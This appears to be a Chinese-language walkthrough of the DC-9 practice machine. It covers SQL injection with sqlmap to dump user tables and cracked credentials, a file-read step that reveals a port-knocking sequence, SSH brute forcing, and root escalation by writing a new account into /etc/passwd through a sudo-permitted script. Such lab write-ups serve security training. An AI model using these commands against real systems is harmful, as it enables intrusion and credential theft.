DC_9
信息搜集
存活检测

详细扫描

后台网页扫描

漏洞利用
漏洞发现
-
在 search 页面的输入框尝试 sql 注入
1' or 1=1#
返回大量数据

-
sqlmap 爆破数据库
sqlmap -u http://10.4.7.154/search.php --dbs --batch爆破失败,显示未找到参数

-
抓包查看

-
爆破数据库
# 查数据库: sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch
Staff 数据库
-
爆破表
#查表: sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch
-
爆破表中数据
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump爆破出一条 admin 数据

-
密码为 transorbital1
856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
users 数据库
-
爆表
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch
-
爆数据
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump
-
筛选用户名
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump -
筛选密码
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump -
将用户名密码分别保存到 user.txt 和 password.txt 文件中
-
ssh 爆破,显示被拒绝

-
查阅资料
SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。
具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。
网页信息搜集
-
登录网页
admin transorbital1
-
发现最下方出现“文件不存在”字样

-
尝试文件读取

-
读取 knockd.conf 文件

-
敲击这三个端口打开 ssh
nc 10.4.7.154 7469 nc 10.4.7.154 8475 nc 10.4.7.154 9842
-
敲击后可成爆破

login: chandlerb password: UrAG0D! login: joeyt password: Passw0rd login: janitor password: Ilovepeepee
提权
-
挨个用户登录,搜索提权相关信息
最终在 janitor 登录后发现了一些密码

-
使用这些密码再次爆破 user.txt

有爆破出 fredf 用户
-
登录 fredf 用户
sudo -l查看 root 权限
-
查看 test
vi /opt/devstuff/dist/test/test
-
看不懂,运行一下
给了提示

-
查找 test.py
find / -name test.py 2>/dev/null
-
查看 test.py

python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中
-
尝试向 /etc/passwd 中添加 root 用户
-
将用户信息写入 shell 文件

-
使用有 root 权限的
/opt/devstuff/dist/test/test写入sudo /opt/devstuff/dist/test/test shell /etc/passwd成功写入

-
-
不支持无密码登录

-
生成加密密码
openssl passwd -1 -salt admin 123456openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
-1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
-salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
123456: 是要加密的密码明文。 -
重新编辑,添加到 /etc/passwd

-
切换用户,提权成功

总结
- sqlmap 爆破数据库若传参使用 POST 方法需要在 sqlmap 参数中添加
--data 'search=1' - ssh knockd 敲击














![11.初始JavaScript[初步了解何为js]](https://img-blog.csdnimg.cn/img_convert/96fb769d8d1071d51cedbdca8b5033e7.png)




